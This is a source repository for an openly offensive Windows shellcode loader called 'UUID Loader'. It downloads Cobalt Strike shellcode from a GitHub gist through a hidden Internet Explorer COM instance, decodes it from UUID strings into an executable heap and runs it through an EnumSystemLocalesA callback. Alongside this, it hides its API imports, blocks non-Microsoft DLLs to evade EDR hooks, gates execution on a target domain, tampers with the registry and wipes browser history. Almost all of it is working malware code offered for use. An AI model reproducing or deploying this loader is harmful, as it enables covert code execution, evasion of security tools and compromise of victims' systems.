├── README.md ├── apiresolv.h ├── checks.h ├── downloader.h ├── hash.h ├── headers.h └── uuidfromstring.cpp /README.md: -------------------------------------------------------------------------------- 1 | # UUID Loader 2 | 3 | Experimental Stage-1 Shellcode Loader, using IE COM Object Methods to fetch Shellcode and uses UUID as shellcode. 4 | 5 | # Features 6 | 7 | - Fetches Cobalt Shellcode from Github using IE-Com 8 | - Shellcode returns is bunch of UUID Strings 9 | - Uses UuidFromStringA callback to load shellcode into allocated heap area 10 | - Dynamic API Resolving to make IAT Look clean 11 | - Multiple Preliminary Checks before execution 12 | - Implements BlockDLL;s to block non microsoft signed DLL to get loader - Blocking EDR DLL Hooks 13 | - Does Local Process Injection, avoiding touching remote process 14 | - Works fine with Cobalt Strike x64 Stageless Shellcode 15 | 16 | # Upcoming 17 | 18 | - Obfuscated UUIDs and deobfuscate before triggering callback 19 | - Ability to convert UUID to shellcode and inject remote using thread hijacking 20 | - Using SGN or custom shellcode encoder before generating UUID Shellcode 21 | 22 | # Usage 23 | 24 | - Host your shellcode as UUIDs 25 | - Hardcode the raw link in Line: 206 inside downloader.h 26 | 27 | # Idea 28 | 29 | https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ 30 | 31 | Credits to [slaeryan](https://twitter.com/slaeryan) for IE COM code from [Wraith](https://github.com/slaeryan/AQUARMOURY/tree/master/Wraith) 32 | -------------------------------------------------------------------------------- /apiresolv.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include "hash.h" 5 | 6 | 7 | 8 | PPEB get_peb() 9 | { 10 | #ifdef _M_IX86 11 | return (PPEB)__readfsdword(0x30); 12 | #elif defined(_M_AMD64) 13 | return (PPEB)__readgsqword(0x60); 14 | #endif 15 | } 16 | 17 | PIMAGE_DATA_DIRECTORY get_data_dir(LPBYTE lpBaseAddress, WORD wIndex) 18 | { 19 | PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress; 20 | PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(lpBaseAddress + pDosHeader->e_lfanew); 21 | return &pNtHeaders->OptionalHeader.DataDirectory[wIndex]; 22 | } 23 | 24 | LPBYTE find_module(DWORD dwModuleHash) 25 | { 26 | PPEB pPeb = get_peb(); 27 | LIST_ENTRY* pListEntry = pPeb->Ldr->InMemoryOrderModuleList.Flink; 28 | 29 | do 30 | { 31 | LDR_DATA_TABLE_ENTRY* pLdrDataTableEntry = (PLDR_DATA_TABLE_ENTRY)pListEntry; 32 | 33 | UNICODE_STRING dllName = pLdrDataTableEntry->FullDllName; 34 | 35 | if (compute_hash(dllName.Buffer, dllName.Length) == dwModuleHash) 36 | return (LPBYTE)pLdrDataTableEntry->Reserved2[0]; 37 | 38 | pListEntry = pListEntry->Flink; 39 | 40 | } while (pListEntry != pPeb->Ldr->InMemoryOrderModuleList.Flink); 41 | 42 | return 0; 43 | } 44 | 45 | FARPROC find_api(DWORD dwModuleHash, DWORD dwProcHash) 46 | { 47 | LPBYTE lpBaseAddress = find_module(dwModuleHash); 48 | PIMAGE_DATA_DIRECTORY pDataDir = get_data_dir(lpBaseAddress, IMAGE_DIRECTORY_ENTRY_EXPORT); 49 | PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)(lpBaseAddress + pDataDir->VirtualAddress); 50 | LPDWORD pNames = (LPDWORD)(lpBaseAddress + pExportDir->AddressOfNames); 51 | LPWORD pOrdinals = (LPWORD)(lpBaseAddress + pExportDir->AddressOfNameOrdinals); 52 | 53 | for (SIZE_T i = 0; i < pExportDir->NumberOfNames; ++i) 54 | { 55 | char* szName = (char*)lpBaseAddress + (DWORD_PTR)pNames[i]; 56 | 57 | if (compute_hash(szName, 0) == dwProcHash) 58 | return (FARPROC)(lpBaseAddress + ((DWORD*)(lpBaseAddress + pExportDir->AddressOfFunctions))[pOrdinals[i]]); 59 | } 60 | 61 | return NULL; 62 | } 63 | -------------------------------------------------------------------------------- /checks.h: -------------------------------------------------------------------------------- 1 | // Check Domain Name before Spawning 2 | 3 | #include "headers.h" 4 | #include 5 | 6 | #pragma comment (lib, "wininet.lib") 7 | 8 | #define UNLEN 256; 9 | 10 | typedef BOOL(WINAPI* _GetComputerNameExA)( 11 | COMPUTER_NAME_FORMAT NameType, 12 | LPSTR lpBuffer, 13 | LPDWORD nSize 14 | ); 15 | 16 | 17 | typedef BOOL(WINAPI* _InternetGetConnectedState)( 18 | LPDWORD lpdwFlags, 19 | DWORD dwReserved); 20 | 21 | 22 | DWORD DomainCheck(){ 23 | 24 | // To Get AD Domain Name 25 | COMPUTER_NAME_FORMAT name = ComputerNamePhysicalDnsDomain; 26 | 27 | HMODULE Kernel32 = GetModuleHandleA("Kernel32.dll"); 28 | 29 | _GetComputerNameExA GetComputerNameExA = (_GetComputerNameExA)GetProcAddress(Kernel32, "GetComputerNameExA"); 30 | if (GetComputerNameExA == NULL) { 31 | return -1; 32 | } 33 | 34 | // Init some important variables 35 | LPSTR lpBuffer[MAX_PATH]; 36 | DWORD dwLength = UNLEN + 1; 37 | ZeroMemory(lpBuffer, MAX_PATH); 38 | 39 | // Retrieve name 40 | BOOL valid = GetComputerNameExA(name, (LPSTR)lpBuffer, &dwLength); 41 | 42 | if (!valid) { 43 | printf("Failed to Get Domain Name\n"); 44 | } 45 | 46 | // printf("Domain is: %s\n", (LPSTR)lpBuffer); 47 | 48 | char domnam[256] = "radiantcorp.local"; 49 | 50 | if (strcmp(domnam, (LPSTR)lpBuffer) == 0) { 51 | // detonate only if domain name matched 52 | printf("\nmatch\n"); 53 | 54 | return TRUE; 55 | } 56 | 57 | // Change this to FALSE to check agains the domain above 58 | return TRUE; 59 | } 60 | 61 | 62 | // Check internet connectivity before staging 63 | BOOL checkinternet() { 64 | 65 | HMODULE Wininet = LoadLibraryA("Wininet.dll"); 66 | 67 | _InternetGetConnectedState ConnectStatus = (_InternetGetConnectedState)GetProcAddress(Wininet, "InternetGetConnectedState"); 68 | 69 | int sleepBetweenQueriesInMS = 10000; 70 | LPDWORD connectionDescription=0; 71 | int isActive = 0; 72 | isActive = ConnectStatus(connectionDescription, 0); 73 | 74 | if (isActive == 0) { 75 | 76 | printf("No active connection, sleeping now for %d seconds\n", (sleepBetweenQueriesInMS / 1000)); 77 | 78 | // wait 10 seconds and try again ! 79 | Sleep(sleepBetweenQueriesInMS); 80 | } 81 | 82 | isActive = ConnectStatus(connectionDescription, 0); 83 | if (isActive == 0) { 84 | 85 | printf("I waited but no internet \n"); 86 | // printf("Break"); 87 | }else{ 88 | 89 | // printf("Internet check pass\n"); 90 | // printf("Move to staging\n"); 91 | 92 | return TRUE; 93 | } 94 | 95 | // dont wanna get those windns headers :( 96 | 97 | return FALSE; 98 | } 99 | -------------------------------------------------------------------------------- /downloader.h: -------------------------------------------------------------------------------- 1 | 2 | #include "headers.h" 3 | #include 4 | 5 | 6 | #pragma comment(lib, "Ole32.lib") 7 | #pragma comment(lib, "OleAut32.lib") 8 | 9 | 10 | // Manually adding CUrlHistory GUID 11 | const IID CLSID_CUrlHistory = { 0x3C374A40L, 0xBAE4, 0x11CF, 0xBF, 0x7D, 0x00, 0xAA, 0x00, 0x69, 0x46, 0xEE }; 12 | 13 | 14 | 15 | typedef HRESULT(WINAPI* _CLSIDFromProgID)( 16 | LPCOLESTR lpszProgID, 17 | LPCLSID lpclsid 18 | ); 19 | 20 | typedef HRESULT(WINAPI* _CoCreateInstance)( 21 | REFCLSID rclsid, LPUNKNOWN pUnkOuter, 22 | DWORD dwClsContext, 23 | REFIID riid, 24 | LPVOID FAR* ppv); 25 | 26 | 27 | 28 | typedef LSTATUS(WINAPI* _RegCreateKeyExA)( 29 | HKEY hKey, 30 | LPCSTR lpSubKey, 31 | DWORD Reserved, 32 | LPSTR lpClass, 33 | DWORD dwOptions, 34 | REGSAM samDesired, 35 | const LPSECURITY_ATTRIBUTES lpSecurityAttributes, 36 | PHKEY phkResult, 37 | LPDWORD lpdwDisposition 38 | ); 39 | 40 | typedef LSTATUS(WINAPI* _RegSetValueExA)( 41 | HKEY hKey, 42 | LPCSTR lpValueName, 43 | DWORD Reserved, 44 | DWORD dwType, 45 | const BYTE* lpData, 46 | DWORD cbData 47 | ); 48 | 49 | typedef LSTATUS(WINAPI* _RegCloseKey)( 50 | HKEY hKey 51 | ); 52 | 53 | 54 | 55 | int history_cleanup() { 56 | 57 | // Delete IE browser history 58 | IUrlHistoryStg2* pIEHistory; 59 | HMODULE OLE = LoadLibraryA("ole32.dll"); 60 | 61 | _CoCreateInstance CoCreateInst = (_CoCreateInstance)GetProcAddress(OLE, "CoCreateInstance"); 62 | if (CoCreateInst == NULL) 63 | { 64 | printf("Failed\n"); 65 | return 0; 66 | } 67 | 68 | 69 | HRESULT hr = CoCreateInst(CLSID_CUrlHistory, NULL, CLSCTX_INPROC, IID_PPV_ARGS(&pIEHistory)); 70 | 71 | if (SUCCEEDED(hr)) { 72 | pIEHistory->ClearHistory(); 73 | pIEHistory->Release(); 74 | } 75 | 76 | 77 | return 0; 78 | } 79 | 80 | 81 | 82 | // BSTR to Char conversion function: 83 | char* BSTRtoChar(BSTR String) 84 | { 85 | int n, i; 86 | char* FinalChar; 87 | 88 | n = SysStringLen(String); // length of input 89 | FinalChar = (char*)malloc(n + 1); 90 | for (i = 0; i < n; i++) 91 | { 92 | FinalChar[i] = (char)String[i]; 93 | } 94 | FinalChar[i] = 0; 95 | return FinalChar; 96 | } 97 | 98 | 99 | BOOL disable_ie_prompt() { 100 | // Dynamically resolve the API function from Advapi32.dll 101 | HMODULE advapi32 = LoadLibraryA("Advapi32.dll"); 102 | 103 | _RegCreateKeyExA RegCreateKeyExA = (_RegCreateKeyExA)GetProcAddress(advapi32, "RegCreateKeyExA"); 104 | if (RegCreateKeyExA == NULL) 105 | return FALSE; 106 | 107 | 108 | 109 | 110 | _RegSetValueExA RegSetValueExA = (_RegSetValueExA)GetProcAddress(advapi32, "RegSetValueExA"); 111 | if (RegSetValueExA == NULL) 112 | return FALSE; 113 | 114 | _RegCloseKey RegCloseKey = (_RegCloseKey)GetProcAddress(advapi32, "RegCloseKey"); 115 | if (RegCloseKey == NULL) 116 | return FALSE; 117 | 118 | // Disable IE prompt 119 | DWORD data = 1; 120 | DWORD dwDisposition; 121 | HKEY hKey; 122 | 123 | RegCreateKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); 124 | 125 | if (RegSetValueExA(hKey, "DisableFirstRunCustomize", 0, REG_DWORD, reinterpret_cast(&data), sizeof(data)) != ERROR_SUCCESS) { 126 | RegCloseKey(hKey); 127 | return FALSE; 128 | } 129 | 130 | RegCloseKey(hKey); 131 | 132 | return TRUE; 133 | } 134 | 135 | 136 | 137 | char * download() { 138 | 139 | // Disable IE First-use prompt 140 | 141 | 142 | disable_ie_prompt(); 143 | 144 | // we need clsid since we are doing COM 145 | CLSID clsid; 146 | 147 | HMODULE OLE = LoadLibraryA("ole32.dll"); 148 | 149 | 150 | // Initialize COM library 151 | CoInitialize(NULL); 152 | 153 | 154 | 155 | 156 | // Get clsid from ProgramID 157 | // Makesure to obfuscate the "internetexplorer.app" string out later 158 | 159 | 160 | _CLSIDFromProgID cidfrompid = (_CLSIDFromProgID)GetProcAddress(OLE, "CLSIDFromProgID"); 161 | 162 | if (cidfrompid(OLESTR("InternetExplorer.Application"), &clsid) != S_OK) { 163 | 164 | // Handle errors reading COM error handling pattern 165 | printf("IE COM Initialization Failed\n"); 166 | } 167 | else { 168 | 169 | printf(" [*] IE COM Initialization Success\n"); 170 | } 171 | 172 | LPOLESTR pszTerminalCLSID = NULL; 173 | HRESULT hr = StringFromCLSID(clsid, &pszTerminalCLSID); 174 | //printf("IE CLSID ?: %ws\n", pszTerminalCLSID); 175 | 176 | // We have a valid ClassID for IE now ? 177 | 178 | // Create instance of IE 179 | IWebBrowser2* webBrowserPtr; 180 | LPUNKNOWN pUnknown = NULL; 181 | VARIANT var; 182 | VARIANT_BOOL vBusy; 183 | IDispatch* pDispatch = NULL; 184 | IHTMLDocument2* pHTML = NULL; 185 | 186 | _CoCreateInstance CoCreateInst = (_CoCreateInstance)GetProcAddress(OLE, "CoCreateInstance"); 187 | if (CoCreateInst == NULL) 188 | { 189 | printf("Failed\n"); 190 | return 0; 191 | } 192 | 193 | 194 | 195 | if (CoCreateInst(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IWebBrowser2, (LPVOID*)&pUnknown) != S_OK) { 196 | 197 | printf("Error\n"); 198 | } 199 | 200 | 201 | pUnknown->QueryInterface(IID_IWebBrowser2, (LPVOID*)&webBrowserPtr); 202 | pUnknown->Release(); 203 | 204 | 205 | // Replace your github or any raw link of UUIDs below 206 | OLECHAR test[] = L"https://gist.githubusercontent.com/xxx/xx/raw/xxx/test.txt"; 207 | 208 | // 2. navigate to URL 209 | BSTR bstrUrl = SysAllocString(test); 210 | var.vt = VT_I4; // 4 byte signed int 211 | var.lVal = 0; 212 | 213 | // Change it to FALSE Later ! 214 | if (webBrowserPtr->put_Visible(VARIANT_FALSE) != S_OK) { 215 | printf("Failed to put visiblity false\n"); 216 | } 217 | 218 | printf(" [*] Fetching Shellcode using IECOM from: %ws\n", test); 219 | 220 | // Visit the URL! 221 | webBrowserPtr->Navigate(bstrUrl, &var, &var, &var, &var); 222 | 223 | SysFreeString(bstrUrl); 224 | 225 | 226 | // Wait to load fully 227 | do 228 | { 229 | Sleep(1); 230 | webBrowserPtr->get_Busy(&vBusy); 231 | } while (vBusy); 232 | 233 | 234 | // additional sleep 235 | Sleep(2000); 236 | 237 | 238 | // Get the HTML 239 | HRESULT htmldoc = webBrowserPtr->get_Document(&pDispatch); 240 | pDispatch->QueryInterface(IID_IHTMLDocument2, (LPVOID*)&pHTML); 241 | pDispatch->Release(); 242 | 243 | // 5. print the 244 | pHTML->get_title(&bstrUrl); 245 | // printf("Title: %ws\n", bstrUrl); 246 | 247 | IHTMLElement* lpBodyElm; 248 | HRESULT hrGetBody = pHTML->get_body(&lpBodyElm); 249 | 250 | // Get IHTMLElement HTML Parent element 251 | IHTMLElement* lpParentElm; 252 | HRESULT hrGetParElm = lpBodyElm->get_parentElement(&lpParentElm); 253 | 254 | // Get Inner HTML content as a binary string 255 | BSTR bstrBody; 256 | HRESULT hrGetInrHTMl = lpParentElm->get_innerHTML(&bstrBody); 257 | 258 | char* p2str; 259 | char* body; 260 | body = BSTRtoChar(bstrBody); 261 | 262 | // printf("Body: %s", body); 263 | 264 | //printf("reached \n"); 265 | 266 | // works fine till here 267 | char s2[] = "<pre>"; 268 | 269 | char* p1, * p2, * p3; 270 | p1 = strstr(body, "<pre>"); 271 | 272 | //printf("SS %s\n", p1); 273 | 274 | char out[1024]; 275 | 276 | 277 | if (p1) { 278 | p2 = strstr(p1, "</pre>"); 279 | 280 | // printf("\n p1 %s\n", p1); 281 | 282 | //cut off initial bytes 283 | p1 += 5; 284 | 285 | // cut off last bytes 286 | p1[strlen(p1) - 1] = '\0'; 287 | p1[strlen(p1) - 2] = '\0'; 288 | p1[strlen(p1) - 3] = '\0'; 289 | p1[strlen(p1) - 4] = '\0'; 290 | p1[strlen(p1) - 2] = '\0'; 291 | p1[strlen(p1) - 1] = '\0'; 292 | 293 | 294 | // printf("\n p1 modified %s\n", p1); 295 | 296 | 297 | //if (p2) sprintf_s(out, "%.*s", int(p2 - p1 - 5), p1 + 5); 298 | // printf("huh: %s\n\n\n", p1); 299 | } 300 | 301 | 302 | // Delete IE History 303 | history_cleanup(); 304 | 305 | //CleanUp 306 | SysFreeString(bstrUrl); 307 | webBrowserPtr->Quit(); 308 | webBrowserPtr->Release(); 309 | pHTML->Release(); 310 | CoUninitialize(); 311 | 312 | 313 | return p1; 314 | } 315 | -------------------------------------------------------------------------------- /hash.h: -------------------------------------------------------------------------------- 1 | // Taken from zerosum0x0 https://github.com/zerosum0x0/zeroload/blob/master/zdi/dll/zeroload/hash.h 2 | 3 | #pragma once 4 | #include "headers.h" 5 | #include <Windows.h> 6 | 7 | // this is a variation of the fnv1a_32 hash algorithm, but keeping the original primes, 8 | // changed to allow both unicode and char*, slower but same distribution for ascii text 9 | DWORD __forceinline compute_hash(const void* input, UINT32 len) 10 | { 11 | const unsigned char* data = (const unsigned char*)input; 12 | 13 | DWORD hash = 2166136261; 14 | 15 | while (1) 16 | { 17 | char current = *data; 18 | if (len == 0) 19 | { 20 | if (*data == 0) 21 | break; 22 | } 23 | else 24 | { 25 | if ((UINT32)(data - (const unsigned char*)input) >= len) 26 | break; 27 | 28 | if (*data == 0) 29 | { 30 | ++data; 31 | continue; 32 | } 33 | } 34 | 35 | // toupper 36 | if (current >= 'a') 37 | current -= 0x20; 38 | 39 | hash ^= current; 40 | hash *= 16777619; 41 | 42 | ++data; 43 | } 44 | 45 | return hash; 46 | } 47 | -------------------------------------------------------------------------------- /headers.h: -------------------------------------------------------------------------------- 1 | #include<Windows.h> 2 | #include<stdio.h> 3 | #include <stdlib.h> 4 | #include <string.h> 5 | #include <objbase.h> 6 | #include<combaseapi.h> 7 | #include <exdisp.h> 8 | #include <mshtml.h> 9 | #include <Urlhist.h> 10 | #include <winternl.h> 11 | #include <intrin.h> 12 | #include <Rpc.h> 13 | -------------------------------------------------------------------------------- /uuidfromstring.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | UUID Loader 3 | Author - 0xpwnisher 4 | */ 5 | 6 | 7 | #include "headers.h" 8 | #include "checks.h" 9 | #include "apiresolv.h" 10 | #include "downloader.h" 11 | 12 | #pragma comment(lib, "Rpcrt4.lib") 13 | 14 | #define HASH_KERNEL32 0x16a58fe2 15 | 16 | 17 | typedef HANDLE(WINAPI* _HeapCreate)( 18 | DWORD flOptions, 19 | SIZE_T dwInitialSize, 20 | SIZE_T dwMaximumSize 21 | ); 22 | 23 | 24 | typedef LPVOID(WINAPI* _HeapAlloc)( 25 | HANDLE hHeap, 26 | DWORD dwFlags, 27 | SIZE_T dwBytes 28 | ); 29 | 30 | 31 | typedef RPC_STATUS(RPC_ENTRY* _UuidtoString)( 32 | RPC_CSTR StringUuid, 33 | UUID* Uuid 34 | ); 35 | 36 | 37 | typedef BOOL(WINAPI* _EnSysLocal)( 38 | LOCALE_ENUMPROCA lpLocaleEnumProc, 39 | DWORD dwFlags); 40 | 41 | 42 | typedef BOOL(WINAPI* _Chandle)( 43 | HANDLE hObject 44 | ); 45 | 46 | typedef BOOL(WINAPI* _SetProcessMitigationPolicy)( 47 | PROCESS_MITIGATION_POLICY MitigationPolicy, 48 | PVOID lpBuffer, 49 | SIZE_T dwLength 50 | ); 51 | 52 | typedef HMODULE(WINAPI* _pLoadLibraryA)( 53 | _In_ LPCSTR lpLibFileName 54 | ); 55 | 56 | 57 | DWORD dllpolicy() { 58 | 59 | 60 | PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {}; 61 | sp.MicrosoftSignedOnly = 1; 62 | 63 | HMODULE Hmod = GetModuleHandleA("Kernel32.dll"); 64 | _SetProcessMitigationPolicy SetPolicy = (_SetProcessMitigationPolicy)GetProcAddress(Hmod, "SetProcessMitigationPolicy"); 65 | 66 | PROCESS_MITIGATION_POLICY policy = ProcessSignaturePolicy; 67 | 68 | SetPolicy(policy, &sp, sizeof(sp)); 69 | 70 | return 0; 71 | } 72 | 73 | 74 | DWORD codepolicy() { 75 | 76 | PROCESS_MITIGATION_DYNAMIC_CODE_POLICY sp = {}; 77 | sp.ProhibitDynamicCode = 1; 78 | 79 | HMODULE Hmod = GetModuleHandleA("Kernel32.dll"); 80 | _SetProcessMitigationPolicy SetPolicy = (_SetProcessMitigationPolicy)GetProcAddress(Hmod, "SetProcessMitigationPolicy"); 81 | 82 | PROCESS_MITIGATION_POLICY policy = ProcessDynamicCodePolicy; 83 | 84 | SetPolicy(policy, &sp, sizeof(sp)); 85 | 86 | return 0; 87 | } 88 | 89 | int main() 90 | { 91 | 92 | // all safety checks must happen here else just return 93 | 94 | if (!DomainCheck()|| !checkinternet()) { 95 | 96 | return 0; 97 | } 98 | 99 | 100 | printf(" [*] All Safety Checks Passed\n"); 101 | printf(" [*] Initializing Staging\n"); 102 | 103 | 104 | // Two optional features 105 | dllpolicy(); 106 | // codepolicy(); 107 | 108 | HMODULE rpcdll = GetModuleHandleA("Rpcrt4.dll"); 109 | 110 | HMODULE Hmod = GetModuleHandleA("Kernel32.dll"); 111 | 112 | 113 | _HeapCreate HeapC = (_HeapCreate)GetProcAddress(Hmod, "HeapCreate"); 114 | _HeapAlloc HeapAC = (_HeapAlloc)GetProcAddress(Hmod, "HeapAlloc"); 115 | _EnSysLocal ensys = (_EnSysLocal)GetProcAddress(Hmod, "EnumSystemLocalesA"); 116 | _UuidtoString uuid = (_UuidtoString)GetProcAddress(rpcdll, "UuidFromStringA"); 117 | _Chandle CHandle = (_Chandle)GetProcAddress(Hmod, "CloseHandle"); 118 | 119 | 120 | HANDLE hc = HeapC(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 121 | void* ha = HeapAC(hc, 0, 0x100000); 122 | DWORD_PTR hptr = (DWORD_PTR)ha; 123 | 124 | 125 | // all good proceed to staging shellcode 126 | char* buf = download(); 127 | 128 | // printf("Outout: %s\n", buf); 129 | 130 | char* p2str; 131 | char* uuids[50000]; 132 | char* token; 133 | 134 | token = strtok_s(buf, "\n", &p2str); 135 | 136 | // printf("Token: %s\n", token); 137 | 138 | 139 | int i = 0; 140 | while ((token != NULL)) { 141 | if (token != NULL) { 142 | uuids[i] = token; 143 | token = strtok_s(NULL, "\n", &p2str); 144 | i++; 145 | } 146 | } 147 | 148 | // printf("Value if i : %d", i); 149 | 150 | 151 | int elems = i; 152 | for (int i = 0; i < elems; i++) { 153 | // printf("[+] Token '%d' - %s\n", i, uuids[i]); 154 | } 155 | 156 | 157 | 158 | // printf("length : %d\n", sizeof(uuids)); 159 | 160 | // printf("first: %s\n", uuids[0]); 161 | 162 | 163 | for (int i = 0; i < elems; i++) { 164 | 165 | // Dynamic Resolve UUIDfromStringA function also 166 | RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr); 167 | if (status != RPC_S_OK) { 168 | printf("UuidFromStringA() != S_OK\n"); 169 | CHandle(ha); 170 | return -1; 171 | } 172 | hptr += 16; 173 | } 174 | 175 | 176 | printf(" [*] Hexdump: "); 177 | for (int i = 0; i < elems * 16; i++) { 178 | printf("%02X ", ((unsigned char*)ha)[i]); 179 | } 180 | 181 | 182 | ensys((LOCALE_ENUMPROCA)ha, 0); 183 | CHandle(ha); 184 | return 0; 185 | } 186 | --------------------------------------------------------------------------------